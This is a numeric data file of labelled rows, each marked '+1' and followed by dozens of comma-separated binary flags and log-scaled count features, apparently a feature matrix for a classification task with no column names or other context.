+1,0,1,1,0,0,0,0,0,1,0,6.75926,3.3673,30.75,4.51086,0.186674,6.08583,0.0268945,0.0357143,0,0.0813008,1.14286,0,0.693147,0,0,0,1.09861,7.11883,0,1.79176,0,0,0,0,0,0,0,0,0,0.693147,0,0.693147,0,1.09861,0.693147,0,0,0,0,0.693147,0,0,0,1,0,0,0 +1,1,1,0,1,0,1,0,0,0,0,6.65157,3.3673,27.6071,4.23411,0,4.96262,0.0406805,0.0357143,0,0.0905563,1.14286,0,1.09861,0,0,0,0,3.55535,0,0,0,0,0,0,0,0,0,0,0,0,0,1.60944,0,0.693147,0,0,0,0,0,0.693147,0,0,0,1,0,0,0 +1,0,1,1,0,0,1,0,0,0,1,6.32972,2.63906,43.0769,4.79579,0,4.69562,0,0.153846,0,0.00714286,0,0.693147,0,0.693147,0.693147,0.693147,0.693147,4.23411,0,0,0,0,0,0,0,0,0,0,0.693147,0,0,0,0,0,1.38629,0.693147,0,0,0,0,0,0,1,0,0,0,0 +1,0,1,0,0,0,0,0,0,1,0,7.35052,4.18965,23.9385,4.49981,0.364711,6.23088,0.0739212,0.169231,0.00128535,0.0899743,0.584615,0,0,0,0,0,0.693147,7.78744,1.38629,0.693147,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0 +1,1,1,1,0,0,1,0,0,0,0,8.38981,5.2832,22.4541,5.0626,0,6.31033,0.0406782,0.0663265,0,0.120863,4.45493,0,0,1.09861,1.09861,0,0,3.8712,1.38629,0,0,0.693147,1.09861,0.693147,1,1.09861,1.09861,1.09861,1.09861,0,0,0,0,0,1.09861,1.09861,0,0,0,0,0,0,0,1,0,0,0 +1,0,1,1,0,0,0,0,0,0,0,6.84268,3.7612,22.2857,4.35671,0,5.05448,0.0545729,0.0952381,0,0.0715812,0.333333,0,0.693147,0,0,0,0,3.04452,0.693147,0,0,0,0,0,0,0,0,0,0,0,0,1.09861,0,0.693147,0.693147,0,0,0,0,0,0,0.693147,1,0,0,0,0 +1,0,1,1,0,0,1,0,0,0,1,8.66751,5.47227,24.5148,4.82831,0,5.18128,0.0161088,0.105485,0,0.0913941,0.434599,1.79176,0,1.09861,0,1.38629,0,4.79579,2.83321,0,0,0,0,0,0,0,0,0,0,0,0,0,1.38629,0,0.693147,0.693147,0,1.09861,0,0,2.3979,0,1,0,0,0,0 +1,0,1,1,0,0,0,0,1,0,0,5.41165,2.19722,27.875,4.06044,0,4.71867,0,0,0,0.0717489,0.5,0,0,0,0,0,0,2.94444,0,0,0,0,0,0,0,0,0,0,0,0,0.693147,0,0,0,0,0,0,0.693147,0,0,0,0,1,0,0,0,0 +1,0,1,1,0,0,0,0,1,0,1,7.10085,3.7612,28.8571,4.52179,0,5.06687,0.0276722,0.166667,0,0.0453795,0.190476,0.693147,1.09861,0,0,0.693147,0,4.30407,0,0,0,0,0,0,0,0,0,0,0,0,0.693147,1.60944,0,1.09861,0.693147,0,0,1.38629,0,1.09861,0,0,1,0,0,0,0 +1,1,1,0,0,0,1,0,0,0,0,8.65277,4.70048,52.5229,5.1299,0,4.94666,0.0438293,0.110092,0,0.0396507,0.266055,0,0,0.693147,1.09861,0,0,3.68888,0,0,0,0,0,0,0,0,0,0,1.09861,0,0,0,0,0,0.693147,0.693147,0,0,0,0,0,0,1,0,0,0,0 +1,0,1,1,0,0,1,0,0,0,0,7.91462,4.61512,27.36,4.38203,0,5.14924,0.153823,0.11,0,0.0398392,0.21,0,0,1.09861,0.693147,0,0,4.38203,1.79176,0,0,0,0,0,0,0,0,0,0.693147,0,0,0,0,0,1.38629,1.09861,0,0,0,0,0,0,1,0,0,0,0 +1,1,1,1,0,0,1,0,0,1,0,10.0739,6.70196,29.171,5.0689,0,5.23108,0.0205429,0.0774908,0,0.0496711,0.309963,2.83321,0,0,0,2.19722,1.09861,5.05625,2.56495,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0 +1,0,1,1,0,0,0,0,0,0,1,6.28972,3.04452,26.9,4.23411,0,5.29812,0,0.2,0,0.100372,0,0,0,0,0,0,0,4.09434,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1.09861,0,0,0,0,0,0,0,0,1 +1,0,1,1,0,0,1,0,0,0,1,7.34407,3.58352,44.1714,4.8828,0,5.1464,0.0253134,0.171429,0,0.0446313,0.857143,0.693147,0,0.693147,0.693147,0.693147,0,4.15888,0,0,0,0,0,0,0,0,0,0,0.693147,0,0,0,0,0,0.693147,0.693147,0,1.09861,0,0,0,0,1,0,0,0,0 +1,1,1,0,0,0,1,0,0,0,0,5.41165,2.19722,27.875,4.06044,0,4.73346,0,0,0,0.0717489,0.5,0,0,0,0,0,0,2.94444,0,0,0,0,0,0,0,0,0,0,0,0,0,1.09861,0,0,0,0,0,0,0,0,0,0.693147,1,0,0,0,0 +1,0,1,1,0,0,0,0,1,0,0,6.24804,2.99573,27.1579,4.18965,0,4.59519,0.0300769,0.157895,0,0.0387597,0.210526,0,0,0,0,0,0,3.04452,0,0,0,0,0,0,0,0,0,0,0,0,1.38629,0,0,0,0,0,0,1.09861,0,0,0,0.693147,1,0,0,0,0 +1,1,1,0,0,0,1,0,0,0,0,8.32869,5.01064,27.7852,5.15329,0,5.1558,0.0397987,0.114094,0,0.0572464,0.228188,0,0,0.693147,0,0,0,4.12713,1.60944,0,0,0,0,0,0,0,0,0,0,0,0,0,1.09861,0,0.693147,0.693147,0,0.693147,0,0,0,1.38629,1,0,0,0,0 +1,0,1,1,1,1,0,0,0,1,0,10.6372,7.03791,36.6054,4.99721,0.0673469,6.31473,0.054347,0.072935,0,0.0580215,0.501757,0,1.09861,0,0,0,0.693147,5.71904,2.3979,0.693147,0,0.693147,0,0,0,0,0,0,0,1.09861,0,1.09861,0,0.693147,1.09861,0,0,0,1.09861,1.09861,0,0,1,0,0,0,0 +1,0,1,1,0,0,0,0,0,1,1,6.73697,3.49651,26.3125,4.45435,0.348529,5.66618,0,0.28125,0,0.0558195,0.25,0.693147,0,0,0,0.693147,1.38629,6.43266,0,0.693147,0,0,0,0,0,0,0,0,0,1.09861,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0 +1,0,1,0,0,0,1,0,0,0,0,11.6822,8.21284,32.1242,4.91265,0,5.25057,0.0643683,0.170057,0,0.00769153,0.000542446,1.60944,1.60944,0,0,0.693147,0,4.40672,4.70953,0,0,1.09861,0,0,0,0,0,0,0,0,0,1.38629,0,0.693147,0,0,0,0,0,0.693147,0,0,0,0,1,0,0 +1,0,1,1,0,0,0,0,0,0,0,6.10702,2.83321,28,4.39445,0,4.90757,0.0456206,0.375,0,0.0535714,0,0,0.693147,0,0,0,0,3.68888,0,0,0,0,0,0,0,0,0,0,0,0,0,1.09861,0,1.09861,1.09861,0,0,0,0,0.693147,0,0,0,0,1,0,0 +1,1,1,1,0,0,1,0,0,0,0,8.00169,4.56435,31.4211,4.96284,0,5.92001,0.107939,0.0631579,0,0.0941784,3.35968,1.09861,0.693147,0.693147,0,1.09861,0.693147,4.34381,0.693147,0,0,1.38629,1.79176,1.09861,1,1.09861,1.09861,1.09861,0,0,0,0,0.693147,0,1.38629,1.09861,0,1.09861,0,0,0,0,0,1,0,0,0 +1,1,1,0,0,0,1,0,0,0,0,7.87017,4.64439,25.4078,4.5326,0,5.92858,0.0154272,0.126214,0,0.147814,2.66401,1.09861,0,1.09861,0,0.693147,0,3.73767,0.693147,0,0,0.693147,1.94591,1.09861,1,0.693147,0.693147,1.09861,0,0,0,0,0.693147,0,1.09861,1.09861,0,0.693147,0,0,0,0,0,1,0,0,0 +1,1,1,1,1,0,1,0,0,0,1,9.30246,6.07304,25.321,5.0626,0,5.46165,0.0063389,0.0554273,0,0.0992323,1.82657,2.56495,0.693147,0,0,1.09861,1.09861,4.29046,3.49651,0,0,1.79176,1.38629,1.09861,1,1.09861,0.693147,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0.693147,0,1,0,0,0 +1,1,1,0,0,0,1,0,0,0,0,6.88857,3.3673,35,4.5326,0,5.46647,0.0498053,0.142857,0,0.0653061,0.642857,0,0.693147,0,0,0,0.693147,4.11087,0,0,0,0,0,1.09861,0,0,0,0,0,0,0,1.60944,0,0.693147,1.09861,0,0,0,0,0.693147,0,0,1,0,0,0,0 +1,1,1,0,1,0,1,0,0,1,0,8.03722,4.69135,28.6389,5.12396,0.342337,6.43021,0.0264604,0.231481,0,0.0711284,0.462963,0,0,0,0,0,0.693147,5.91811,1.09861,0,1.38629,0,0,0,0,0,0,0,0,0.693147,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0 +1,0,1,1,1,1,1,0,0,0,0,5.37528,2.19722,26.875,4.23411,0,5.03945,0.0350921,0,0,0.0511628,0.125,0,0,1.09861,1.09861,0,0,3.52636,0,0,0,0,0,0,0,0,0,0,1.09861,0,0,0,0,0,1.09861,0.693147,0,0,1.09861,1.09861,0,0,1,0,0,0,0 +1,0,1,1,1,1,0,0,0,1,0,8.46821,4.79579,39.6667,7.32975,0.0619947,5.93218,0.0267694,0.0666667,0,0.0768908,3.33639,0,0,0,0,0,0.693147,8.03684,0,0,0.693147,1.09861,0.693147,0.693147,1,0.693147,0.693147,0,0,0,0,0,0,0,0.693147,0,0,0,1.09861,1.09861,0,0,0,1,0,0,0 +1,1,1,0,0,0,1,0,0,0,0,8.83623,5.37528,31.9907,4.34381,0,4.89719,0.034379,0.144186,0,0.0370747,0.204651,1.60944,0,0.693147,0.693147,1.38629,0,3.97029,1.09861,0,0,0,0,0,0,0,0,0,1.09861,0,0,0,0,0,0.693147,1.09861,0,0,0,0,0,0,1,0,0,0,0 +1,1,1,1,1,0,1,0,1,1,0,8.45914,5.01728,31.4467,4.40672,0.257661,5.63203,0.0415088,0.173333,0,0.0254399,0,1.09861,1.09861,0,1.09861,0.693147,1.38629,6.11247,1.79176,0.693147,1.09861,0,0,0,0,0,0,0,0,0.693147,1.38629,0,0,0,0,0,0,0.693147,0,0,0,0,0,0,1,0,0 +1,0,1,0,0,0,0,0,0,1,0,6.24804,2.99573,27.1579,4.18965,0.318514,6.14923,0.0518862,0.157895,0,0.0951726,1.80918,0,1.09861,0,0,0,1.38629,8.36583,0,0,1.09861,1.79176,1.60944,1.09861,1,0.693147,0.693147,1.09861,0,0.693147,0,1.09861,0,1.09861,1.09861,0,0,0,0,0,0,0,0,1,0,0,0 +1,0,1,1,0,0,1,0,0,0,0,5.3799,2.19722,27,4.23411,0,5.03016,0.0194611,0,0,0.0509259,0.125,0,0,0.693147,0,0,0,3.52636,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0.693147,0,1.09861,0.693147,0,0.693147,0,0,0,0,0,0,1,0,0 +1,0,0,0,0,0,0,0,0,0,0,5.62402,2.56495,23,4.02535,0,4.88108,0,0.166667,0,0.130435,0.833333,0,0.693147,0,0,0,0,3.29584,0,0,0,0,0,0,0,0,0,0,0,0,0,1.09861,0,1.09861,0.693147,0,0,0,0,1.09861,0,0,1,0,0,0,0 +1,1,1,0,0,0,1,0,0,0,0,6.10702,3.29584,17.2308,4.2485,0,5.09979,0,0.230769,0,0.0491071,0.153846,0,0,1.09861,1.09861,0,0,4.06044,0,0,0,0,0,0,0,0,0,0,0.693147,0,0,0,1.38629,0.693147,1.38629,0.693147,0,1.09861,0,0,0,0,1,0,0,0,0 +1,1,1,0,0,0,1,0,0,0,0,7.69211,4.38203,27.7215,4.35671,0,6.34849,0.0351652,0.164557,0,0.0666971,3.5703,0,0,0.693147,1.09861,0,0,2.94444,0,0,0,0.693147,1.38629,1.09861,1,1.09861,0.693147,0,0.693147,1.09861,0,0,0,0,0.693147,0.693147,0,0,0,0,0,1.09861,0,1,0,0,0 +1,0,1,1,0,0,1,0,0,0,0,6.8533,2.99573,49.7895,5.98896,0.0526316,6.3879,0.0143073,0.0526316,0,0.126115,1.65203,0,0,1.09861,0,0,0,5.3845,0.693147,0,0,1.60944,1.79176,0.693147,1,1.09861,0.693147,0,0,0,0,0,1.38629,0,0.693147,1.09861,0,0.693147,0,0,0,0.693147,0,1,0,0,0 +1,1,1,1,0,0,1,0,0,0,0,7.62315,3.89182,42.5833,4.30407,0,4.59721,0,0,0,0.0503914,0.916667,0,0,0.693147,0,0,0,3.71357,1.09861,0,0,0,0,0,0,0,0,0,0,0,0,0,1.09861,0,1.09861,0.693147,0,1.38629,0,0,0,0,0,1,0,0,0 +1,1,1,1,1,0,1,0,0,0,0,8.06306,4.76217,27.3621,5.34711,0,5.1361,0.0167912,0.0775862,0,0.0677379,0.62931,0,1.09861,1.09861,0.693147,0,0,4.77068,1.09861,0,0,0,0,0,0,0,0,0,1.09861,0,0,1.09861,0,0.693147,0.693147,1.09861,0,0,1.09861,1.09861,0,0,1,0,0,0,0 +1,0,1,1,1,1,1,0,0,0,1,8.3395,5.19296,23.3799,4.29046,0,5.00355,0.0860431,0.100559,0.000955795,0.0712067,0.458101,0.693147,0,1.09861,1.09861,0.693147,0,3.91202,1.38629,0,0,0,0,0,0,0,0,0,0.693147,0,0,0,0,0,1.38629,1.09861,0,1.09861,1.09861,1.09861,0,0,1,0,0,0,0 +1,0,1,1,0,0,0,0,0,0,1,6.96035,3.8712,22.4043,4.46591,0,4.69949,0.00293012,0.191489,0,0.127255,0.787234,0,1.09861,0,0,0,0,3.3673,0.693147,0,0,0,0,0,0,0,0,0,0,0,0,1.38629,0,0.693147,0.693147,0,0,0.693147,0,0.693147,0,0.693147,1,0,0,0,0 +1,0,0,1,0,0,0,0,0,0,1,8.83361,5.51343,27.7733,4.48864,0,4.95367,0.0434737,0.121457,0,0.0478134,0.348178,0.693147,0,0,0,0.693147,0.693147,4.07754,1.38629,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1.09861,0,0,0,1.38629,1,0,0,0,0 +1,1,1,1,1,0,1,0,0,1,0,5.75257,2.56495,26.1667,4.31749,0,4.94396,0,0.166667,0,0.11465,0.833333,0,0,0,0,0,0.693147,3.82864,0,0,0,0,0,0,0,0,0,0,0,0,0,0.693147,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0 +1,0,1,0,0,0,1,0,0,0,0,8.3464,4.82028,34.2602,4.54329,0,5.03345,0.15334,0.0243902,0,0.0581395,0.471545,0.693147,0,1.09861,0.693147,0.693147,0,3.95124,1.60944,0,0,0,0,0,0,0,0,0,1.09861,0,0,0,1.38629,0,1.09861,0.693147,0,1.38629,0,0,0,0,1,0,0,0,0 +1,1,1,0,0,0,1,0,0,1,0,6.10702,2.83321,28,4.39445,0.236549,5.70416,0.0639559,0.375,0,0.0535714,0,0,0,0.693147,0.693147,0,1.60944,5.6229,0,1.09861,1.09861,0,0,0,0,0,0,0,1.09861,0,0,0,0,0,1.38629,0.693147,0,0,0,0,0,0,1,0,0,0,0 +1,0,1,1,0,0,0,0,0,1,0,8.77354,5.29832,32.4623,4.38203,0.279319,6.27271,0.0208942,0.0904523,0,0.0541796,0.532663,0.693147,0,0,0,0.693147,0.693147,5.67572,0,0,1.38629,0,0,0,0,0,0,0,0,1.09861,0,0,0,0,0.693147,0,0,0,0,0,0,0,1,0,0,0,0 +1,0,1,0,0,0,0,0,0,1,1,10.1274,6.99668,22.9112,4.55388,0.387987,6.49553,0.0149927,0.0760073,0,0.0770614,3.8033,0,0,0,0,0,1.09861,8.31757,3.63759,0.693147,1.38629,1.94591,1.79176,1.09861,1,1.09861,1.09861,1.09861,0,0,0,0,0,0,0,0,0,0,0,0,0,3.61092,0,1,0,0,0 +1,1,1,1,0,0,1,0,1,0,0,6.33505,3.04452,28.15,4.23411,0,5.28298,0,0.15,0,0.106572,0.25,0,0,0.693147,0.693147,0,0,3.7612,0,0,0,0,0,0,0,0,0,0,1.09861,0,1.09861,0,0,0,1.38629,0.693147,0,1.38629,0,0,0,0,1,0,0,0,0 +1,1,1,1,0,0,1,0,1,0,0,8.83623,5.37528,31.9907,4.34381,0,4.89719,0.0187499,0.144186,0,0.0370747,0.204651,1.60944,0,1.09861,0,1.38629,0,3.97029,1.09861,0,0,0,0,0,0,0,0,0,0,0,1.38629,0,1.38629,0,1.09861,0.693147,0,1.09861,0,0,0,1.79176,1,0,0,0,0 +1,0,1,1,0,0,0,0,1,1,1,9.30246,6.07304,25.321,5.0626,0.296947,5.59482,0.0211443,0.0554273,0,0.0789858,0.484988,2.56495,0.693147,0,0,1.09861,1.09861,7.58517,3.49651,1.79176,0.693147,0,0,0,0,0,0,0,0,0,1.09861,0,0,0,0,0,0,1.09861,0,0,0,0.693147,1,0,0,0,0 +1,0,1,1,0,0,0,0,0,0,0,7.62315,3.89182,42.5833,4.30407,0,6.17835,0,0,0,0.118834,2.52731,0,0,0,0,0,0,3.71357,1.09861,0,0,1.94591,1.09861,1.09861,1,0.693147,1.09861,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0 +1,1,1,1,0,0,1,0,0,0,0,6.83948,3.52636,28.2727,4.26268,0,4.91584,0.0269804,0.242424,0,0.0310825,0.030303,0,0,0.693147,1.09861,0,0,3.71357,0.693147,0,0,0,0,0,0,0,0,0,1.09861,0,0,0,0,0,1.38629,1.09861,0,0,0,0,0,0,1,0,0,0,0 +1,0,0,1,0,0,0,0,0,1,0,5.77765,5.1358,1.90533,4.15888,0.140765,6.08575,0.00338286,0.976331,0,0,0,0,0,0,0,0,1.60944,7.26398,0,0.693147,0.693147,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1 +1,0,1,1,0,0,0,0,0,0,0,9.82239,6.14633,39.573,5.61313,0,5.49795,0.0429999,0.137339,0,0.0939353,3.90053,1.60944,0,0,0,1.38629,1.09861,4.97673,1.09861,0,0,1.79176,1.09861,1.09861,1,0.693147,1.09861,1.09861,0,0,0,0,0,0,1.38629,0,0,0.693147,0,0,0,0,0,1,0,0,0 +1,1,1,1,0,1,1,0,0,0,1,9.92324,6.40523,33.7715,5.03695,0,6.22994,0.0345915,0.127483,0.000931464,0.0782086,4.30191,3.04452,0.693147,1.09861,0,2.56495,1.79176,4.41884,2.83321,0,0,1.94591,1.09861,0.693147,1,1.09861,1.09861,0,0,0,0,1.38629,1.09861,1.09861,1.09861,0.693147,0,1.09861,0,0,0,0,0,1,0,0,0 +1,0,1,1,0,0,1,0,0,0,0,9.48243,6.07535,30.2442,5.40717,0,5.04058,0.084324,0.152074,0,0.0550053,0.536866,1.09861,0,1.09861,0.693147,0.693147,0,5.0876,2.56495,0.693147,0,0,0,0,0,0,0,0,0.693147,0,0,0,0,0,0.693147,0.693147,0,0.693147,0,0,0,0,1,0,0,0,0 +1,1,1,1,0,0,1,0,0,1,0,6.2106,2.99573,26.1579,3.89182,0.345459,6.57758,0,0,0,0.183099,2,0,0,0.693147,1.09861,0,1.60944,6.19948,0.693147,1.09861,0.693147,0,0,0,0,0,0,0,0.693147,0,0,0.693147,0,0,1.09861,1.09861,0,0,0,0,0,0,1,0,0,0,0 +1,0,1,1,0,0,1,0,0,0,0,9.45517,6.00141,31.6948,4.72739,0,5.42045,0.0228592,0.16129,0,0.00688953,0.00496278,0,0,0.693147,0,0,0,4.36945,2.70805,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0 +1,1,1,1,1,0,1,0,0,0,0,7.94236,4.29046,39.0694,4.36945,0,5.31781,0.215476,0.0833333,0,0.00568788,0.0277778,0,0,0,0,0,0,3.29584,0,0,0,0,0,0,0,0,0,0,0,0,0,0.693147,0,0.693147,0,0,0,0,0,0,0,0,0,0,1,0,0 +1,1,1,1,1,0,1,0,0,1,0,6.65157,3.3673,27.6071,4.23411,0,4.96262,0.0369058,0.0357143,0,0.0905563,1.14286,0,0,0,0,0,1.09861,3.55535,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0 +1,0,1,1,1,0,1,0,1,0,0,9.64271,6.13556,33.423,4.94876,0,5.75056,0.114612,0.143167,0,0.159404,3.73421,0,0,0,0,0,0,4.38203,2.63906,0,0,2.07944,0.693147,1.09861,1,0.693147,1.09861,0,0,0,1.38629,1.09861,0,0,0,0,0,1.38629,0,0,0,0,0,1,0,0,0 +1,1,1,0,1,0,1,0,0,0,0,5.39363,2.48491,19.9091,3.66356,0,4.69042,0,0.272727,0,0.0730594,0,0,0,1.09861,0,0,0,2.99573,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1.09861,1.09861,1.09861,0.693147,0,1.38629,0,0,0,0,0,0,0,0,1 +1,0,1,1,0,0,1,0,1,0,0,7.11477,3.52636,37.2424,4.99043,0,5.25171,0.208011,0.0909091,0,0.0211554,0.151515,0,0,0.693147,0,0,0,3.49651,0,0,0,0,0,0,0,0,0,0,0,0,0.693147,0,1.38629,0,1.09861,1.09861,0.693147,1.38629,0,0,0,0,1,0,0,0,0 +1,0,1,1,0,0,0,0,0,0,1,10.8482,7.51371,28.0775,4.56435,0,6.26392,0.0913464,0.187773,0,0.0668959,2.58225,0,0.693147,0,0,0,0,4.36945,4.63473,0,0,1.38629,1.60944,1.09861,1,0.693147,1.09861,1.09861,0,0,0,1.38629,0,0.693147,0,0,0,1.09861,0,1.09861,0,0,0,1,0,0,0 +1,0,1,0,0,0,1,0,0,1,0,8.32069,4.8828,31.3511,4.91265,0.123679,5.80682,0,0.114504,0,0.0367665,0,0,0,1.09861,0.693147,0,0.693147,6.00463,0,0,1.38629,0,0,0,0,0,0,0,1.09861,1.09861,0,0,0,0,0.693147,1.09861,0,0,0,0,0,0,1,0,0,0,0 +1,1,1,1,1,0,1,0,0,0,0,7.5979,4.27667,28.0704,4.75359,0,4.87039,0.0128172,0.267606,0,0.0296036,0.056338,0.693147,0,1.09861,0,0.693147,0,3.98898,0,0,0,0.693147,0,0,0,0,0,0,0,0,0,0,1.38629,0,1.38629,1.09861,0,0.693147,1.09861,1.09861,0,0,0,0,1,0,0 +1,0,1,1,1,1,0,0,0,0,1,9.2687,5.75257,33.758,4.94164,0,5.24305,0.123145,0.0700637,0.000188679,0.0454717,0.22293,1.94591,0.693147,0,0,1.38629,0.693147,4.26268,1.94591,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0.693147,1.09861,0,0,1,0,0,0,0 +1,1,1,1,1,0,1,0,0,0,0,5.36598,2.19722,26.625,4.23411,0,5.05012,0.0167596,0,0,0.0516432,0.125,0,0,0.693147,0,0,0,3.52636,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0 +1,0,1,1,0,0,0,0,0,0,0,5.39363,2.19722,27.375,4.23411,0,6.24219,0.0632471,0,0,0.15166,3.01447,0,0,0,0,0,0,3.52636,0,0,0,2.19722,0.693147,1.09861,1,0.693147,1.09861,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0 +1,1,1,1,0,0,1,0,0,0,0,9.62938,6.27664,28.6328,4.54329,0,5.18285,0.0411682,0.116761,0,0.0469613,0.376648,1.79176,0,1.09861,1.09861,1.09861,0,4.02535,2.30259,0,0,0.693147,1.09861,0,0,0,0,0,0.693147,1.60944,0,0,1.09861,0,1.38629,0.693147,0,0.693147,0,0,0,1.79176,1,0,0,0,0 +1,0,1,1,0,0,0,0,0,0,1,8.21501,5.12396,22.1257,4.27667,0,6.10788,0.0494345,0.0958084,0,0.148032,3.90341,0,0,0,0,0,0,3.17805,0,0,0,1.38629,1.38629,0.693147,1,1.09861,1.09861,1.09861,0,0,0,0,0,0,0,0,0,0.693147,0,0,0,0,0,1,0,0,0 +1,1,1,1,0,0,1,0,1,1,0,8.53149,5.19296,28.3296,4.92725,0.301385,6.32549,0.034999,0.134078,0,0.0771051,0.368715,1.09861,0.693147,1.09861,0,1.09861,1.38629,5.83863,1.09861,0,0.693147,0,0,0,0,0,0,0,0,1.09861,0.693147,0,1.38629,0,1.09861,0.693147,0,0.693147,0,0,0,0,1,0,0,0,0 +1,0,1,1,0,1,1,0,1,0,0,6.39192,2.56495,49.6667,4.47734,0,5.37908,0.106087,0.0833333,0,0.0904136,4.83669,0,0,0.693147,0,0,0,3.2581,0,0,0,1.09861,1.94591,1.09861,1,1.09861,1.09861,0.693147,0,0,1.09861,0,0,0,0,0,0,0.693147,0,0,0,0,0,1,0,0,0 +1,1,0,1,0,0,1,0,1,0,0,9.16293,5.79909,28.9848,4.44265,0,4.52543,0.0195059,0.176292,0,0.028943,0,0,0,1.09861,1.09861,0,0,4.35671,2.48491,0,0,0,0,0,0,0,0,0,0.693147,0,0.693147,0,0,0,0.693147,1.09861,0,1.38629,0,0,0,0,1,0,0,0,0 +1,1,1,1,0,0,1,0,0,1,1,11.5753,7.96276,37.0738,6.36647,0.197678,6.34566,0.00685188,0.128527,0.000394592,0.0786554,0.492163,3.52636,0.693147,0,0.693147,2.56495,1.38629,6.4606,4.27667,1.38629,1.38629,0,0,0,0,0,0,0,0,1.09861,0,0,0,0,0,0,0,0,0,0,3.63759,0,1,0,0,0,0 +1,1,1,0,1,0,1,0,0,0,0,6.84268,3.7612,22.2857,4.35671,0,5.05448,0.0801666,0.0952381,0,0.0715812,0.333333,0,1.09861,0,0,0,0,3.04452,0.693147,0,0,0,0,0,0,0,0,0,0,0,0,1.38629,0,1.09861,0.693147,0,0,0,0,0.693147,0,0,1,0,0,0,0 +1,0,1,1,0,0,0,0,0,1,1,9.41353,5.86079,35.0057,5.3845,0.20157,6.4424,0.0759691,0.0857143,0,0.0864349,0.602857,2.3979,0.693147,0,0,1.60944,1.38629,7.02803,2.77259,1.79176,1.09861,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1.94591,0,0,0,0,0,0,1,0,0,0,0 +1,0,1,1,0,0,1,0,0,1,1,6.25383,2.56495,43.25,4.72739,0.237678,5.9682,0,0.0833333,0,0.00770713,0,0.693147,0,1.09861,0,0.693147,0.693147,5.86662,0,1.60944,0,0,0,0,0,0,0,0,0,0,0,0,0.693147,0,0.693147,1.09861,0,1.09861,0,0,0,0,1,0,0,0,0 +1,1,1,1,0,0,1,0,0,0,0,8.73954,5.26269,32.5208,4.56435,0,4.72824,0.0641287,0.114583,0,0.0427611,0.390625,0.693147,0,0.693147,0,0.693147,0,3.80666,1.79176,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1.60944,1,0,0,0,0 +1,0,0,0,0,0,1,0,0,0,1,8.96891,5.45959,33.5641,4.90527,0,5.28493,0.0114771,0.183761,0,0.0944742,0.705128,0.693147,0.693147,1.09861,1.09861,0.693147,0,4.51086,1.94591,0,0,0,0,0,0,0,0,0,0.693147,0,0,0.693147,0,0.693147,1.09861,0.693147,0,0,0,0.693147,1.79176,0,1,0,0,0,0 +1,0,1,1,0,0,0,0,1,0,0,7.34407,3.58352,44.1714,4.8828,0,5.1464,0.0277099,0.171429,0,0.0446313,0.857143,0.693147,0,0,0,0.693147,0,4.15888,0,0,0,0,0,0,0,0,0,0,0,0,1.38629,0,0,0,0,0,0.693147,0.693147,0,0,0,0,0,1,0,0,0 +1,1,1,1,1,0,1,0,0,0,0,8.49679,5.1358,28.9822,4.35671,0,4.84679,0.0288921,0.183432,0,0.0385872,0.248521,0,0,1.09861,0,0,0,3.80666,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1.38629,0,1.38629,0.693147,0,1.09861,1.09861,1.09861,0,0,1,0,0,0,0 +1,0,1,1,0,0,0,0,1,0,1,8.85209,5.63121,25.1367,5.31321,0,5.45035,0.0277824,0.169065,0,0.0591013,0.374101,0.693147,0.693147,0,0,0.693147,0,3.68888,0,0,0,0,0,0,0,0,0,0,0,0,1.38629,0,0,0,0,0,0.693147,1.38629,0,0,0,0,1,0,0,0,0 +1,0,1,1,0,0,0,0,0,1,0,10.0711,6.70564,28.9816,4.83628,0.051208,5.95343,0.0995305,0.133578,0,0.0985924,1.72509,1.09861,1.09861,0,0,1.09861,0.693147,5.90437,3.13549,0.693147,1.09861,1.09861,1.38629,1.09861,1,0.693147,0.693147,0.693147,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0 +1,0,1,0,0,0,1,0,0,1,0,8.16479,5.09375,21.6914,4.31749,0.085987,5.94763,0.0487348,0.12963,0,0.0387023,0.296296,0,0,1.09861,0.693147,0,1.09861,5.66774,0,0,0.693147,0,0,0,0,0,0,0,1.09861,0,0,0,0,0,0.693147,0.693147,0,0,0,0,0,0,1,0,0,0,0 +1,0,1,1,0,0,1,0,0,0,0,8.71719,5.43372,26.7807,4.36945,0,5.10796,0.132378,0.118421,0,0.0258762,0.241228,0.693147,0,1.09861,0.693147,0.693147,0,3.49651,0.693147,0,0,0,0.693147,0,0,0,0,0,1.09861,1.09861,0,0,0,0,0.693147,0.693147,0,0,0,0,0,1.38629,1,0,0,0,0 +1,1,1,1,1,1,1,0,0,0,0,11.0156,7.30384,40.9542,5.6058,0,4.84241,0.0379663,0.13468,0,0.0510877,0.767677,2.70805,0,0.693147,1.09861,1.94591,0,4.76217,3.85015,0,0,0,1.79176,0,0,0,0,0,1.09861,0,0,0,0,0,1.09861,1.09861,0,0,0.693147,0.693147,0,0,1,0,0,0,0 +1,0,0,1,0,0,0,0,0,0,0,5.60947,2.63906,20.9231,4.2485,0,4.66284,0,0.307692,0,0.0735294,1.07692,0,0.693147,0,0,0,0,2.70805,0,0,0,0,0,0,0,0,0,0,0,0,0,1.60944,0,1.09861,1.09861,0,0,0,0,1.09861,0,0,1,0,0,0,0 